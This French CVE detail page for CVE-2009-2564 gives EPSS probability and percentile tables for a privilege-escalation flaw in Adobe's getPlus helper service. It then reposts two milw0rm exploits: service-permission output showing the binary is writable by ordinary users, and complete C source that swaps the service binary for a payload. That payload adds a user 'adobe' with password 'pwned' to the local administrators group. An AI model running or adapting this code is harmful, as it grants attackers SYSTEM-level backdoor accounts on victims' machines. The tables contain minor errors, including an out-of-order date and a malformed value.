CVE-2009-2564 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	8.28%	–	–
2022-02-27	–	–	8.28%	–	–
2022-04-03	–	–	8.28%	–	–
2022-07-17	–	–	3.22%	–	–
2022-07-24	–	–	8.28%	–	–
2023-02-26	–	–	8.28%	–	–
2023-03-12	–	–	–	0.04%	–
2024-04-07	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-10-13	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.17%	–
2025-03-02	–	–	–	0.17%	–
2025-01-19	–	–	–	0.17%	–
2025-03-09	–	–	–	0.17%	–
2025-03-18	–	–	–	–	0.18%
2025-03-30	–	–	–	–	0.18%
2025-03-30	–	–	–	–	0.18,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	82%
2022-02-27	83%
2022-04-03	93%
2022-07-17	83%
2022-07-24	93%
2023-02-26	94%
2023-03-12	8%
2024-04-07	9%
2024-06-02	1%
2024-10-13	11%
2024-12-15	12%
2024-12-22	55%
2025-03-02	56%
2025-01-19	55%
2025-03-09	56%
2025-03-18	37%
2025-03-30	36%
2025-03-30	36%

Adobe related service (getPlus_HelperSvc.exe) local elevation of privileges by Nine:Situations:Group site: http://retrogod.altervista.org/ description: Adobe downloader used to download updates for Adobe applications. Shipped with Acrobat Reader 9.x vendor: Nos Microsystems poc: C:\>sc qc "getPlus(R) Helper" [SC] GetServiceConfig SUCCESS SERVICE_NAME: getPlus(R) Helper TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : getPlus(R) Helper DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe" C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <-------------- [!!!] NT AUTHORITY\SYSTEM:F The executable file is installed with improper permissions, with "full control" for Builtin Users; a simple user can replace it with a binary of choice. At the next reboot it will run with SYSTEM privileges. # milw0rm.com [2009-07-20]

/* alwaysdirtyneverclean.c AKA Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip) BY Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009 *********************************************************************************************************** I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the brief information provided by Nine:Situations:Group (http://www.milw0rm.com/exploits/9199). Exploiting improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2) isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just the first time though). Change the values as needed, compile and run. Things could be more or less silent, lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :) Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated) But maybe give Adobe a break? 2009 has been a rough year for them already, heh. Sleep time. *********************************************************************************************************** alwaysdirtyneverclean.c */ #include <stdio.h> #include <windows.h> #define DEFAULT_TARGET "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe" #define DEFAULT_BACKUP "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe.bak" #define DEFAULT_EXECUTE "C:\\Documents and Settings\\All Users\\Documents\\bin.exe" //#define DEFAULT_EXECUTE "C:\\WINDOWS\\system32\\calc.exe" int main(int argc, char *argv[]) { MoveFile(DEFAULT_TARGET, DEFAULT_BACKUP); CopyFile(DEFAULT_EXECUTE, DEFAULT_TARGET, FALSE); // shakee and bakeee return 0; } ///////////////////////////////////// cut ///////////////////////////////////// /* bin.c FROM Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip) BY Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009 */ #include <stdio.h> #include <windows.h> #define CMD "C:\\WINDOWS\\system32\\cmd.exe" #define ONE "/C net user adobe pwned /add" #define TWO "/C net localgroup administrators adobe /add" int main(int argc, char *argv[]) { STARTUPINFO si = {sizeof(STARTUPINFO)}; PROCESS_INFORMATION pi; CreateProcess(CMD, ONE, NULL, NULL, 0, 0, NULL, NULL, &si, &pi); CreateProcess(CMD, TWO, NULL, NULL, 0, 0, NULL, NULL, &si, &pi); // mmmmmmmmmmm.. chocolate browie ice cream smoothes are goooood return 0; } # milw0rm.com [2009-07-21]